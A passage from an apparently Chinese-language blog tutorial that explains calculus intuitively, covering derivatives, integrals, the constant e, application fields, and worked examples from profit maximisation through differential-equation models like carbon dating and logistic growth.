m&#x2F;s</td></tr><tr><td align="center">0.001</td><td align="center">0.004001</td><td align="center">4.001 m&#x2F;s</td></tr></tbody></table><p>当 Δt → 0，平均速度 → 4 m&#x2F;s。这个<strong>极限值</strong>就是瞬时速度。</p><blockquote><p>这不是从函数直接”读出”速度，而是通过极限计算平均速度在时间间隔趋于零时的逼近值。</p></blockquote><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/calc_fig2_limit_approach.png" alt="图2：极限逼近过程——平均速度向瞬时速度收敛"></p><h3 id="2-2-导数——变化率的精确表达"><a href="#2-2-导数——变化率的精确表达" class="headerlink" title="2.2 导数——变化率的精确表达"></a>2.2 导数——变化率的精确表达</h3><p><strong>导数</strong>是极限过程的结果：</p><p>$$f’(x) &#x3D; \lim_{\Delta x \to 0} \frac{f(x+\Delta x) - f(x)}{\Delta x}$$</p><p>对 $s(t)&#x3D;t^2$ 求导的推导过程：</p><p>$$\Delta s &#x3D; (t+\Delta t)^2 - t^2 &#x3D; 2t\Delta t + (\Delta t)^2$$</p><p>$$\frac{\Delta s}{\Delta t} &#x3D; 2t + \Delta t$$</p><p>当 $\Delta t \to 0$，结果为 $2t$。</p><p>所以：<strong>在任意时刻 $t$，瞬时速度都是 $2t$</strong>——不只是 $t&#x3D;2$ 这一点，而是整个运动过程的速度函数。</p><p><strong>导数的几何含义</strong>：在函数图像上，导数就是<strong>曲线在某一点处的斜率</strong>，也就是<strong>切线的倾斜程度</strong>。切线越陡，变化越快；切线越平，变化越慢。</p><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/calc_fig3_tangent_line.png" alt="图3：导数的几何含义——切线的斜率就是导数"></p><h3 id="2-3-微分与导数的区别"><a href="#2-3-微分与导数的区别" class="headerlink" title="2.3 微分与导数的区别"></a>2.3 微分与导数的区别</h3><table><thead><tr><th align="center">概念</th><th align="center">含义</th><th align="center">类比</th></tr></thead><tbody><tr><td align="center"><strong>微分</strong></td><td align="center">一个无穷小的变化量（dx, dy）</td><td align="center">切片的”厚度”</td></tr><tr><td align="center"><strong>导数</strong></td><td align="center">两个微分的比值（dy&#x2F;dx &#x3D; 变化率）</td><td align="center">切片的”斜率”</td></tr><tr><td align="center"><strong>求导</strong></td><td align="center">计算导数的操作</td><td align="center">测量斜率的动作</td></tr></tbody></table><p>导数也叫”微商”——因为它是两个微分的商。</p><h3 id="2-4-二阶导数——变化率的变化率"><a href="#2-4-二阶导数——变化率的变化率" class="headerlink" title="2.4 二阶导数——变化率的变化率"></a>2.4 二阶导数——变化率的变化率</h3><p>如果一阶导数 $dx&#x2F;dt$ 是速度（位置的变化率），那么二阶导数 $d^2x&#x2F;dt^2$ 就是加速度（速度的变化率）。</p><p>符号拆解：</p><ul><li>$d&#x2F;dt$ 是一个操作——“对时间求导数”</li><li>$d^2x&#x2F;dt^2$ 不是”d的平方”，而是”两次求导”的意思</li><li>$dt^2$ 不是”d乘t的平方”，而是 $(dt)^2$ 的简写</li></ul><p>直觉类比：</p><ul><li>里程表 &#x3D; 位置 $x(t)$</li><li>速度表 &#x3D; 一阶导数 $dx&#x2F;dt$</li><li>油门力度 &#x3D; 二阶导数 $d^2x&#x2F;dt^2$</li><li>急动度（jerk）&#x3D; 三阶导数 $d^3x&#x2F;dt^3$（突然松油门时身体前倾的感觉）</li></ul><h3 id="2-5-积分——累积的数学"><a href="#2-5-积分——累积的数学" class="headerlink" title="2.5 积分——累积的数学"></a>2.5 积分——累积的数学</h3><p>积分是微分的逆运算。它把无数个瞬间的微小贡献累加起来，得到总量。</p><p><strong>关键区别</strong>：最终时刻的速度是”状态量”，走过的总路程是”累积量”。它们是完全不同的两件事。</p><p>$$\text{总路程} &#x3D; \int_{t_0}^{t_1} v(t) , dt$$</p><p>直觉：每一小段时间内的速度 × 该段时间 &#x3D; 微小路程，把它们全部加起来 &#x3D; 总路程。</p><p><strong>积分的几何含义</strong>：积分就是<strong>曲线下方区域的面积</strong>。这是积分最直觉、最根本的理解方式——不管曲线怎么弯，积分就是把那条线和x轴之间的”区域面积”精确算出来。</p><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/calc_fig4_integral_area.png" alt="图4：积分的几何含义——曲线下方的面积"></p><h3 id="2-6-微积分基本定理"><a href="#2-6-微积分基本定理" class="headerlink" title="2.6 微积分基本定理"></a>2.6 微积分基本定理</h3><p>微分和积分互为逆操作——这是微积分的灵魂：</p><blockquote><p>对一个函数求导再积分，得到原函数加上常数。</p></blockquote><p>对 $s(t)&#x3D;t^2$ 求导得 $v(t)&#x3D;2t$；对 $v(t)&#x3D;2t$ 积分（从0到T）得 $s(T)&#x3D;T^2$。</p><p>这个定理把微分和积分统一成一个工具。</p><p><strong>基本定理的几何含义</strong>：如果你把 $v(t)&#x3D;2t$ 画成一条曲线，算出从0到T这段曲线下方的面积——这个面积恰好等于 $T^2$，也就是物体走过的总路程。面积的变化率 &#x3D; 曲线的高度。<strong>面积增长的速度，取决于此刻曲线有多高。</strong></p><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/calc_fig5_fundamental_theorem.png" alt="图5：微积分基本定理——面积的变化率等于曲线高度"></p><h3 id="2-7-可导性与连续性"><a href="#2-7-可导性与连续性" class="headerlink" title="2.7 可导性与连续性"></a>2.7 可导性与连续性</h3><p>可导的前提是<strong>连续</strong>，但连续不一定可导。</p><p>不可导的典型情况：</p><table><thead><tr><th align="center">类型</th><th align="center">例子</th><th align="center">现实类比</th></tr></thead><tbody><tr><td align="center"><strong>尖点</strong></td><td align="center">$f(x)&#x3D;</td><td align="center">x</td></tr><tr><td align="center"><strong>间断点</strong></td><td align="center">阶梯函数</td><td align="center">电灯开关（宏观近似）</td></tr><tr><td align="center"><strong>振荡剧烈</strong></td><td align="center">$\sin(1&#x2F;x)$ 在 $x \to 0$</td><td align="center">地震仪高频震荡</td></tr><tr><td align="center"><strong>垂直切线</strong></td><td align="center">$f(x)&#x3D;x^{1&#x2F;3}$ 在 $x&#x3D;0$</td><td align="center">物体撞击瞬间加速度趋于无穷</td></tr></tbody></table><p><strong>深刻的洞见</strong>：微积分的前提是连续性假设。现实世界在微观尺度上可能是连续的（球撞墙时有形变），但在宏观近似下我们故意忽略细节，用”不可导”模型描述突变——这是一种有效的简化，而非错误。</p><hr><h2 id="三、自然常数-e——为什么微积分的解里总有它"><a href="#三、自然常数-e——为什么微积分的解里总有它" class="headerlink" title="三、自然常数 e——为什么微积分的解里总有它"></a>三、自然常数 e——为什么微积分的解里总有它</h2><p>微积分的应用案例中，解几乎都含有 $e^{…}$。碳定年、药物代谢、牛顿冷却、Logistic增长——到处都是 $e$。</p><h3 id="e-是什么"><a href="#e-是什么" class="headerlink" title="e 是什么"></a>e 是什么</h3><p>$e$ 是一个数字，大约等于 <strong>2.71828</strong>。它和 π（3.14159…）一样，是一个自然常数——不是人发明的，而是自然界”自带”的。</p><h3 id="e-为什么重要"><a href="#e-为什么重要" class="headerlink" title="e 为什么重要"></a>e 为什么重要</h3><p>$e$ 的特殊之处在于：<strong>$e^x$ 是唯一一个”自己的导数等于自己”的函数</strong>。</p><p>$$\frac{d}{dx} e^x &#x3D; e^x$$</p><p>也就是说，$e^x$ 的变化率在任何时刻都等于它当前的值。这听起来像一句废话，但仔细想想——这恰恰描述了最常见的一类自然现象：</p><blockquote><p>“变化率与当前量成正比”</p></blockquote><ul><li>人口增长：增长率与当前人口成正比</li><li>银行复利：利息增长与当前余额成正比</li><li>放射性衰变：衰变速率与当前原子数成正比（负号代表减少）</li><li>药物清除：清除率与当前浓度成正比</li></ul><p>所有这些问题的微分方程都形如 $\frac{dy}{dt} &#x3D; ky$，而这类方程的解<strong>必定含有 $e^{kt}$</strong>——不是因为数学家偏爱 $e$，而是因为 $e$ 是唯一满足”导数&#x3D;自身”这个条件的函数，它天然就是”正比增长&#x2F;衰减”的数学表达。</p><h3 id="直觉理解"><a href="#直觉理解" class="headerlink" title="直觉理解"></a>直觉理解</h3><p>想象你往银行存1元钱，年利率100%。如果一年结算一次，年底你有2元。</p><p>但如果银行疯狂地连续结算利息——每秒、每毫秒、每纳秒都结算——你的钱会越来越多，但不会无限增长。最终极限会收敛到 <strong>$e ≈ 2.718$</strong> 元。</p><p>这就是 $e$ 的本质：<strong>连续复利下的极限增长因子</strong>。</p><table><thead><tr><th align="center">结算频率</th><th align="center">年底余额</th></tr></thead><tbody><tr><td align="center">一年1次</td><td align="center">2.00</td></tr><tr><td align="center">一年2次</td><td align="center">2.25</td></tr><tr><td align="center">一年12次</td><td align="center">2.613</td></tr><tr><td align="center">一年365次</td><td align="center">2.7146</td></tr><tr><td align="center">连续复利（极限）</td><td align="center"><strong>e &#x3D; 2.71828…</strong></td></tr></tbody></table><blockquote><p>所以 $e$ 出现在微积分的解中不是巧合——它是”连续变化率正比于当前量”这个最基本自然规律的数学化身。</p></blockquote><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/calc_fig6_exponential_decay.png" alt="图6：指数衰减 e^{-kt} 的形态"></p><hr><h2 id="四、什么时候该想到微积分"><a href="#四、什么时候该想到微积分" class="headerlink" title="四、什么时候该想到微积分"></a>四、什么时候该想到微积分</h2><p>一个实用的判断口诀：</p><table><thead><tr><th align="center">你想问的问题</th><th align="center">使用的工具</th></tr></thead><tbody><tr><td align="center"><strong>“多快？”</strong> → 变化率</td><td align="center">微分（导数）</td></tr><tr><td align="center"><strong>“多少？”</strong> → 累积总量</td><td align="center">积分</td></tr><tr><td align="center"><strong>“未来会怎样？”</strong> → 动态预测</td><td align="center">微分方程</td></tr><tr><td align="center"><strong>“最优是多少？”</strong> → 极值</td><td align="center">导数&#x3D;0</td></tr></tbody></table><p>具体触发词：</p><ul><li>看到”速度””增长率””斜率””边际成本””电流强度” → <strong>微分</strong></li><li>看到”总面积””总体积””总路程””总电量””总功” → <strong>积分</strong></li><li>看到”衰变率正比于存量””温度变化率正比于温差” → <strong>微分方程</strong></li><li>看到”最大利润””最小成本””最佳订量””最高效率” → <strong>导数求极值</strong></li></ul><hr><h2 id="五、使用领域全景"><a href="#五、使用领域全景" class="headerlink" title="五、使用领域全景"></a>五、使用领域全景</h2><h3 id="5-1-物理学——微积分是物理的语言"><a href="#5-1-物理学——微积分是物理的语言" class="headerlink" title="5.1 物理学——微积分是物理的语言"></a>5.1 物理学——微积分是物理的语言</h3><p>几乎所有物理定律都用微积分表达：</p><table><thead><tr><th align="center">领域</th><th align="center">核心方程</th><th align="center">微积分角色</th></tr></thead><tbody><tr><td align="center"><strong>经典力学</strong></td><td align="center">$F &#x3D; m \cdot d^2x&#x2F;dt^2$</td><td align="center">加速度是位置的二阶导数</td></tr><tr><td align="center"><strong>电磁学</strong></td><td align="center">麦克斯韦方程组</td><td align="center">偏微分方程描述电场与磁场的变化</td></tr><tr><td align="center"><strong>热力学</strong></td><td align="center">熵变、热传导方程</td><td align="center">积分计算能量变化，偏微分描述热传导</td></tr><tr><td align="center"><strong>量子力学</strong></td><td align="center">薘定谔方程</td><td align="center">波函数的概率解释涉及积分</td></tr></tbody></table><h3 id="5-2-工程学——设计与优化的基石"><a href="#5-2-工程学——设计与优化的基石" class="headerlink" title="5.2 工程学——设计与优化的基石"></a>5.2 工程学——设计与优化的基石</h3><table><thead><tr><th align="center">分支</th><th align="center">应用</th></tr></thead><tbody><tr><td align="center"><strong>机械工程</strong></td><td align="center">应力分析、流体动力学（Navier-Stokes方程）、控制理论</td></tr><tr><td align="center"><strong>电气工程</strong></td><td align="center">RC&#x2F;RL电路微分方程、信号处理（傅里叶变换）</td></tr><tr><td align="center"><strong>土木工程</strong></td><td align="center">结构载荷分布、梁的弯曲方程（四阶微分方程）</td></tr><tr><td align="center"><strong>航空航天</strong></td><td align="center">飞行器轨道动力学、空气动力学建模</td></tr></tbody></table><h3 id="5-3-经济学——边际分析的数学基础"><a href="#5-3-经济学——边际分析的数学基础" class="headerlink" title="5.3 经济学——边际分析的数学基础"></a>5.3 经济学——边际分析的数学基础</h3><table><thead><tr><th align="center">应用</th><th align="center">原理</th></tr></thead><tbody><tr><td align="center"><strong>边际成本&#x2F;收益</strong></td><td align="center">成本函数&#x2F;收益函数的导数</td></tr><tr><td align="center"><strong>利润最大化</strong></td><td align="center">导数求极值点（边际收益&#x3D;边际成本）</td></tr><tr><td align="center"><strong>经济增长模型</strong></td><td align="center">索洛增长模型</td></tr><tr><td align="center"><strong>期权定价</strong></td><td align="center">Black-Scholes方程（偏微分方程）</td></tr></tbody></table><h3 id="5-4-生命科学与医学"><a href="#5-4-生命科学与医学" class="headerlink" title="5.4 生命科学与医学"></a>5.4 生命科学与医学</h3><table><thead><tr><th align="center">应用</th><th align="center">微积分工具</th></tr></thead><tbody><tr><td align="center"><strong>种群增长</strong></td><td align="center">Logistic模型（一阶非线性微分方程）</td></tr><tr><td align="center"><strong>药物代谢</strong></td><td align="center">房室模型（一阶线性微分方程&#x2F;方程组）</td></tr><tr><td align="center"><strong>流行病学</strong></td><td align="center">SIR模型（微分方程组）</td></tr><tr><td align="center"><strong>酶动力学</strong></td><td align="center">Michaelis-Menten方程</td></tr></tbody></table><h3 id="5-5-计算机科学与AI"><a href="#5-5-计算机科学与AI" class="headerlink" title="5.5 计算机科学与AI"></a>5.5 计算机科学与AI</h3><table><thead><tr><th align="center">应用</th><th align="center">微积分角色</th></tr></thead><tbody><tr><td align="center"><strong>机器学习</strong></td><td align="center">梯度下降优化（导数求极值）</td></tr><tr><td align="center"><strong>神经网络</strong></td><td align="center">反向传播（链式求导）</td></tr><tr><td align="center"><strong>计算机图形</strong></td><td align="center">Bezier曲线&#x2F;样条、光线追踪</td></tr><tr><td align="center"><strong>图像处理</strong></td><td align="center">Sobel算子边缘检测（灰度梯度&#x3D;一阶导数）</td></tr></tbody></table><h3 id="5-6-化学"><a href="#5-6-化学" class="headerlink" title="5.6 化学"></a>5.6 化学</h3><table><thead><tr><th align="center">应用</th><th align="center">原理</th></tr></thead><tbody><tr><td align="center"><strong>反应动力学</strong></td><td align="center">反应速率方程（微分方程，如 $d[A]&#x2F;dt &#x3D; -k[A]$）</td></tr><tr><td align="center"><strong>量子化学</strong></td><td align="center">薘定谔方程求解分子轨道</td></tr></tbody></table><h3 id="5-7-日常生活"><a href="#5-7-日常生活" class="headerlink" title="5.7 日常生活"></a>5.7 日常生活</h3><table><thead><tr><th align="center">场景</th><th align="center">微积分的身影</th></tr></thead><tbody><tr><td align="center"><strong>GPS导航</strong></td><td align="center">最短路径计算、实时位置修正</td></tr><tr><td align="center"><strong>信用卡最低还款</strong></td><td align="center">银行用积分计算复利</td></tr><tr><td align="center"><strong>煮鸡蛋</strong></td><td align="center">牛顿冷却定律预测中心温度</td></tr><tr><td align="center"><strong>天气预报</strong></td><td align="center">大气流体动力学（偏微分方程）</td></tr></tbody></table><hr><h2 id="六、简单应用案例——第一次亲手用微积分"><a href="#六、简单应用案例——第一次亲手用微积分" class="headerlink" title="六、简单应用案例——第一次亲手用微积分"></a>六、简单应用案例——第一次亲手用微积分</h2><p>以下是4个<strong>最直觉、最简单</strong>的微积分应用。它们不需要微分方程，只用最基本的导数和积分操作，让零基础者也能体验”我亲手用了一次微积分”的感觉。</p><h3 id="简单案例A：用导数找最大值——最大化利润"><a href="#简单案例A：用导数找最大值——最大化利润" class="headerlink" title="简单案例A：用导数找最大值——最大化利润"></a>简单案例A：用导数找最大值——最大化利润</h3><p><strong>现实场景</strong>：你开了一家奶茶店。每杯奶茶定价 $p$ 元，每天能卖出大约 $q &#x3D; 200 - 5p$ 杯（价格越高，买的人越少）。每杯成本15元。定价多少能赚最多？</p><p><strong>思路</strong>：</p><ol><li>先写出利润函数——利润 &#x3D; (售价-成本) × 销量</li><li>利润是定价 $p$ 的函数，所以这是一个关于 $p$ 的曲线</li><li>曲线的最高点 &#x3D; 导数&#x3D;0 的点</li><li>找到这个点，就是最优定价</li></ol><p><strong>解决过程</strong>：</p><p>利润 $L(p) &#x3D; (p - 15) \times (200 - 5p)$</p><p>展开：$L(p) &#x3D; 200p - 5p^2 - 3000 + 75p &#x3D; -5p^2 + 275p - 3000$</p><p>对 $p$ 求导：$L’(p) &#x3D; -10p + 275$</p><p>令导数&#x3D;0：$-10p + 275 &#x3D; 0 \Rightarrow p &#x3D; 27.5$ 元</p><p><strong>结论</strong>：定价27.5元时利润最大。</p><p>验证：代入 $L(27.5) &#x3D; -5(27.5)^2 + 275(27.5) - 3000 &#x3D; 781.25$ 元&#x2F;天。</p><blockquote><p><strong>核心思路</strong>：找到利润函数 → 求导 → 导数&#x3D;0的位置就是极值点。这就是微积分最简单也最常用的操作之一。</p></blockquote><h3 id="简单案例B：用导数求速度——从位置算瞬时速度"><a href="#简单案例B：用导数求速度——从位置算瞬时速度" class="headerlink" title="简单案例B：用导数求速度——从位置算瞬时速度"></a>简单案例B：用导数求速度——从位置算瞬时速度</h3><p><strong>现实场景</strong>：一辆车沿直线运动，位置随时间变化的关系是 $s(t) &#x3D; 3t^2$（单位：米，时间：秒）。问：第4秒时车速度是多少？</p><p><strong>思路</strong>：</p><ol><li>位置函数已知</li><li>速度 &#x3D; 位置对时间的导数</li><li>求导得到速度函数，代入 t&#x3D;4</li></ol><p><strong>解决过程</strong>：</p><p>$s(t) &#x3D; 3t^2$</p><p>$\frac{ds}{dt} &#x3D; 6t$ （对 $3t^2$ 求导，幂函数法则 $n \cdot x^{n-1}$）</p><p>$v(4) &#x3D; 6 \times 4 &#x3D; 24$ m&#x2F;s</p><p><strong>结论</strong>：第4秒时车速24 m&#x2F;s。</p><blockquote><p><strong>核心思路</strong>：已知位置函数 → 求导 → 得到速度函数 → 代入具体时刻。这是微分最直觉的物理应用。</p></blockquote><h3 id="简单案例C：用积分算面积——曲线下方的面积"><a href="#简单案例C：用积分算面积——曲线下方的面积" class="headerlink" title="简单案例C：用积分算面积——曲线下方的面积"></a>简单案例C：用积分算面积——曲线下方的面积</h3><p><strong>现实场景</strong>：一个水池的水深随距离变化，$h(x) &#x3D; 2x$（x是从岸边向池中心走的距离，单位米）。问：从岸边到4米处，水面下方的总面积是多少？</p><p><strong>思路</strong>：</p><ol><li>水深函数是一条斜线</li><li>面积 &#x3D; 这条线下方从0到4的区域</li><li>这就是积分</li></ol><p><strong>解决过程</strong>：</p><p>面积 &#x3D; $\int_0^4 2x , dx$</p><p>这个积分的含义：把从0到4这段距离切成无数小段，每段的高度 $2x$ × 宽度 $dx$ &#x3D; 微小面积，加起来 &#x3D; 总面积。</p><p>计算：$\int_0^4 2x , dx &#x3D; x^2 \Big|_0^4 &#x3D; 4^2 - 0^2 &#x3D; 16$ 平方米</p><blockquote><p>这个结果符合直觉验证：这是一条从(0,0)到(4,8)的斜线，下方是一个三角形，底4高8，面积 &#x3D; 4×8÷2 &#x3D; 16。积分的结果和几何方法完全一致！</p></blockquote><blockquote><p><strong>核心思路</strong>：已知函数 → 积分 &#x3D; 曲线下方的面积。这是积分最基本、最直觉的含义。</p></blockquote><h3 id="简单案例D：用积分算总路程——从速度算走了多远"><a href="#简单案例D：用积分算总路程——从速度算走了多远" class="headerlink" title="简单案例D：用积分算总路程——从速度算走了多远"></a>简单案例D：用积分算总路程——从速度算走了多远</h3><p><strong>现实场景</strong>：你开车出去，速度表记录的速度随时间变化是 $v(t) &#x3D; 20 + 5t$（起步20 m&#x2F;s，每秒加速5 m&#x2F;s）。问：前6秒走了多远？</p><p><strong>思路</strong>：</p><ol><li>速度函数已知</li><li>路程 &#x3D; 速度对时间的积分</li><li>积分得到路程</li></ol><p><strong>解决过程</strong>：</p><p>路程 &#x3D; $\int_0^6 (20 + 5t) , dt$</p><p>$&#x3D; 20t + \frac{5t^2}{2} \Big|_0^6$</p><p>$&#x3D; 20(6) + \frac{5(36)}{2} - 0$</p><p>$&#x3D; 120 + 90 &#x3D; 210$ 米</p><p><strong>直觉验证</strong>：起步速度20，结束速度20+30&#x3D;50，平均速度35，时间6秒，35×6&#x3D;210。完全吻合！</p><blockquote><p><strong>核心思路</strong>：已知速度函数 → 积分 → 得到总路程。这就是”无数微小路程累加”的具体操作。</p></blockquote><hr><h2 id="七、经典应用案例详解（微分方程类）"><a href="#七、经典应用案例详解（微分方程类）" class="headerlink" title="七、经典应用案例详解（微分方程类）"></a>七、经典应用案例详解（微分方程类）</h2><h3 id="案例1：放射性碳定年法（考古学）"><a href="#案例1：放射性碳定年法（考古学）" class="headerlink" title="案例1：放射性碳定年法（考古学）"></a>案例1：放射性碳定年法（考古学）</h3><p><strong>现实问题</strong>：考古学家挖出一块骨头，想知道有多少年了。</p><p><strong>建模</strong>：</p><ul><li>生物活着时，体内碳-14含量与大气平衡</li><li>死亡后，碳-14衰变，衰变速率与当前存量成正比</li><li>微分方程：$\frac{dN}{dt} &#x3D; -\lambda N$</li></ul><p><strong>解</strong>：$N(t) &#x3D; N_0 \cdot e^{-\lambda t}$</p><p>推导过程（分离变量法）：</p><ol><li>$\frac{dN}{N} &#x3D; -\lambda , dt$</li><li>两边积分：$\ln N &#x3D; -\lambda t + C$</li><li>取指数：$N &#x3D; e^C \cdot e^{-\lambda t}$</li><li>令 $t&#x3D;0$ 时 $N&#x3D;N_0$，则 $e^C &#x3D; N_0$</li></ol><p><strong>实际操作</strong>：实验室测量样本中碳-14活度，与标准样品对比，计算 $N(t)&#x2F;N_0$ 的比值，代入公式反解 $t$。</p><h3 id="案例2：弹簧-质量系统（机械工程）"><a href="#案例2：弹簧-质量系统（机械工程）" class="headerlink" title="案例2：弹簧-质量系统（机械工程）"></a>案例2：弹簧-质量系统（机械工程）</h3><p><strong>现实问题</strong>：设计汽车悬挂系统，避免共振。</p><p><strong>建模</strong>：</p><ul><li>牛顿第二定律：合力 &#x3D; 质量 × 加速度</li><li>弹簧力：$-kx$（恢复力，与位移成正比）</li><li>阻尼力：$-c \cdot \frac{dx}{dt}$（与速度成正比，方向相反）</li><li>微分方程：$m \cdot \frac{d^2x}{dt^2} + c \cdot \frac{dx}{dt} + kx &#x3D; 0$</li></ul><p><strong>解的形态取决于阻尼大小</strong>：</p><ul><li>欠阻尼：正弦衰减振荡（最常见，车身晃几下后稳定）</li><li>临界阻尼：最快回到平衡（最理想）</li><li>过阻尼：缓慢回归，无振荡（感觉”迟钝”）</li></ul><p>工程师通过调整 $m$、$c$、$k$ 使系统处于最佳阻尼状态。</p><h3 id="案例3：药物代谢动力学（医学）"><a href="#案例3：药物代谢动力学（医学）" class="headerlink" title="案例3：药物代谢动力学（医学）"></a>案例3：药物代谢动力学（医学）</h3><p><strong>现实问题</strong>：确定给药剂量和间隔，保持血药浓度在治疗窗口内。</p><p><strong>建模</strong>：$\frac{dC}{dt} &#x3D; -kC$（清除率与当前浓度成正比）</p><p><strong>解</strong>：$C(t) &#x3D; C_0 \cdot e^{-kt}$</p><p><strong>半衰期</strong>：$t_{1&#x2F;2} &#x3D; \frac{\ln 2}{k}$</p><blockquote><p>虽然普通医生不需要亲自做微积分建模，但药品说明书上的每一条剂量指南——背后都是微积分的产物。特殊人群（肝肾功能不全者）需要个体化调整时，本质上是微积分模型的参数修正。</p></blockquote><h3 id="案例4：牛顿冷却定律（日常烹饪）"><a href="#案例4：牛顿冷却定律（日常烹饪）" class="headerlink" title="案例4：牛顿冷却定律（日常烹饪）"></a>案例4：牛顿冷却定律（日常烹饪）</h3><p><strong>现实问题</strong>：煮鸡蛋时，鸡蛋中心温度达到70°C需要多长时间？</p><p><strong>建模</strong>：$\frac{dT}{dt} &#x3D; -k(T - T_{env})$</p><p><strong>解</strong>：$T(t) &#x3D; T_{env} + (T_0 - T_{env}) \cdot e^{-kt}$</p><p>代入已知参数（鸡蛋初始温度4°C，沸水100°C），反解 $t$ 即可。</p><h3 id="案例5：经济订货批量EOQ（供应链管理）"><a href="#案例5：经济订货批量EOQ（供应链管理）" class="headerlink" title="案例5：经济订货批量EOQ（供应链管理）"></a>案例5：经济订货批量EOQ（供应链管理）</h3><p><strong>现实问题</strong>：每次订多少货能使总成本最小？</p><p><strong>建模</strong>：总成本 $C(Q) &#x3D; \frac{SD}{Q} + \frac{HQ}{2}$</p><p><strong>求导找极值</strong>：$\frac{dC}{dQ} &#x3D; -\frac{SD}{Q^2} + \frac{H}{2} &#x3D; 0$</p><p><strong>解</strong>：$Q^* &#x3D; \sqrt{\frac{2SD}{H}}$（著名的EOQ公式）</p><h3 id="案例6：人口增长与资源限制（生态学）"><a href="#案例6：人口增长与资源限制（生态学）" class="headerlink" title="案例6：人口增长与资源限制（生态学）"></a>案例6：人口增长与资源限制（生态学）</h3><p><strong>现实问题</strong>：预测岛屿上鹿群数量的未来走势。</p><p><strong>建模</strong>：Logistic模型 $\frac{dP}{dt} &#x3D; rP\left(1 - \frac{P}{K}\right)$</p><p><strong>解</strong>：$P(t) &#x3D; \frac{K}{1 + \left(\frac{K}{P_0} - 1\right) e^{-rt}}$</p><p>呈S形曲线：初期快速增长，后期趋于环境容纳量 $K$。</p><hr><h2 id="八、核心概念对照表"><a href="#八、核心概念对照表" class="headerlink" title="八、核心概念对照表"></a>八、核心概念对照表</h2><p>从我的对话中提炼出的关键理解：</p><table><thead><tr><th align="center">我的困惑</th><th align="center">答案</th><th align="center">核心洞见</th></tr></thead><tbody><tr><td align="center">“固定方程怎么能表现变化？”</td><td align="center">微分研究的是函数在极小邻域内的行为，不是方程本身</td><td align="center">函数是”动”的，方程是描述”动”的”静”的规则</td></tr><tr><td align="center">“积分结果≠最终速度？”</td><td align="center">最终速度是状态量，路程是累积量</td><td align="center">“此刻有多快”和”一共走了多远”是完全不同的问题</td></tr><tr><td align="center">“F&#x3D;ma为什么是二阶微分方程？”</td><td align="center">加速度&#x3D;位置的二阶变化率</td><td align="center">$a &#x3D; d^2x&#x2F;dt^2$，力依赖于位置时自然形成微分方程</td></tr><tr><td align="center">“$d^2x&#x2F;dt^2$看不懂”</td><td align="center">不是”d的平方”，而是”两次求导”</td><td align="center">$d&#x2F;dt$是操作，$d^2x&#x2F;dt^2$是操作两次的结果</td></tr><tr><td align="center">“现实是连续的吗？”</td><td align="center">微积分是近似工具，连续假设在特定尺度下有效</td><td align="center">模型的成功取决于预测准确性，不在于完美复制每个细节</td></tr><tr><td align="center">“解里为什么总有e？”</td><td align="center">e是唯一满足”导数&#x3D;自身”的函数</td><td align="center">“变化率正比于当前量”的规律必然产生e</td></tr></tbody></table><hr><h2 id="九、便利工具与计算资源"><a href="#九、便利工具与计算资源" class="headerlink" title="九、便利工具与计算资源"></a>九、便利工具与计算资源</h2><h3 id="9-1-符号计算工具"><a href="#9-1-符号计算工具" class="headerlink" title="9.1 符号计算工具"></a>9.1 符号计算工具</h3><table><thead><tr><th align="center">工具</th><th align="center">特点</th><th align="center">适用场景</th></tr></thead><tbody><tr><td align="center"><strong>Wolfram Alpha</strong></td><td align="center">在线符号计算引擎，输入自然语言即可</td><td align="center">快速求导&#x2F;积分，验证结果</td></tr><tr><td align="center"><strong>Python SymPy</strong></td><td align="center">Python符号计算库，代码化操作</td><td align="center">批量计算，嵌入自动化流程</td></tr><tr><td align="center"><strong>MATLAB</strong></td><td align="center">工程级数值与符号计算</td><td align="center">专业工程仿真</td></tr><tr><td align="center"><strong>Mathematica</strong></td><td align="center">Wolfram旗舰产品，功能最全</td><td align="center">学术研究，复杂符号推导</td></tr><tr><td align="center"><strong>Maple</strong></td><td align="center">符号计算老牌工具</td><td align="center">数学教育，符号推导</td></tr></tbody></table><h3 id="9-2-数值计算与仿真"><a href="#9-2-数值计算与仿真" class="headerlink" title="9.2 数值计算与仿真"></a>9.2 数值计算与仿真</h3><table><thead><tr><th align="center">工具</th><th align="center">特点</th><th align="center">适用场景</th></tr></thead><tbody><tr><td align="center"><strong>Python NumPy&#x2F;SciPy</strong></td><td align="center">数值计算+微分方程求解器</td><td align="center">科学计算，数据分析</td></tr><tr><td align="center"><strong>Julia</strong></td><td align="center">高性能科学计算语言</td><td align="center">大规模数值仿真</td></tr><tr><td align="center"><strong>GNU Octave</strong></td><td align="center">MATLAB开源替代</td><td align="center">轻量工程计算</td></tr><tr><td align="center"><strong>R</strong></td><td align="center">统计计算+微积分函数</td><td align="center">统计建模，经济学</td></tr></tbody></table><h3 id="9-3-可视化与交互学习"><a href="#9-3-可视化与交互学习" class="headerlink" title="9.3 可视化与交互学习"></a>9.3 可视化与交互学习</h3><table><thead><tr><th align="center">工具</th><th align="center">特点</th></tr></thead><tbody><tr><td align="center"><strong>GeoGebra</strong></td><td align="center">交互式几何+代数+微积分可视化</td></tr><tr><td align="center"><strong>Desmos</strong></td><td align="center">在线图形计算器，即时绘制函数与导数</td></tr><tr><td align="center"><strong>3D Grapher</strong></td><td align="center">三维函数可视化</td></tr><tr><td align="center"><strong>Matplotlib (Python)</strong></td><td align="center">编程化绘图，自定义程度高</td></tr></tbody></table><h3 id="9-4-AI辅助学习"><a href="#9-4-AI辅助学习" class="headerlink" title="9.4 AI辅助学习"></a>9.4 AI辅助学习</h3><table><thead><tr><th align="center">场景</th><th align="center">使用方式</th></tr></thead><tbody><tr><td align="center"><strong>建立微分方程</strong></td><td align="center">描述现实场景，让AI帮你翻译成数学语言</td></tr><tr><td align="center"><strong>验证结果</strong></td><td align="center">AI给出导数&#x2F;积分结果后，用常识性检查验证</td></tr><tr><td align="center"><strong>理解公式</strong></td><td align="center">不懂某个符号，直接问”这个d²x&#x2F;dt²每个字母代表什么”</td></tr><tr><td align="center"><strong>概念辨析</strong></td><td align="center">问”微分和导数是一回事吗？”——AI能给出精确对照表</td></tr></tbody></table><blockquote><p><strong>我的策略</strong>：计算交给工具，我只管概念和应用场景。但前提是——必须能准确描述问题。翻译能力才是核心。</p></blockquote><hr><h2 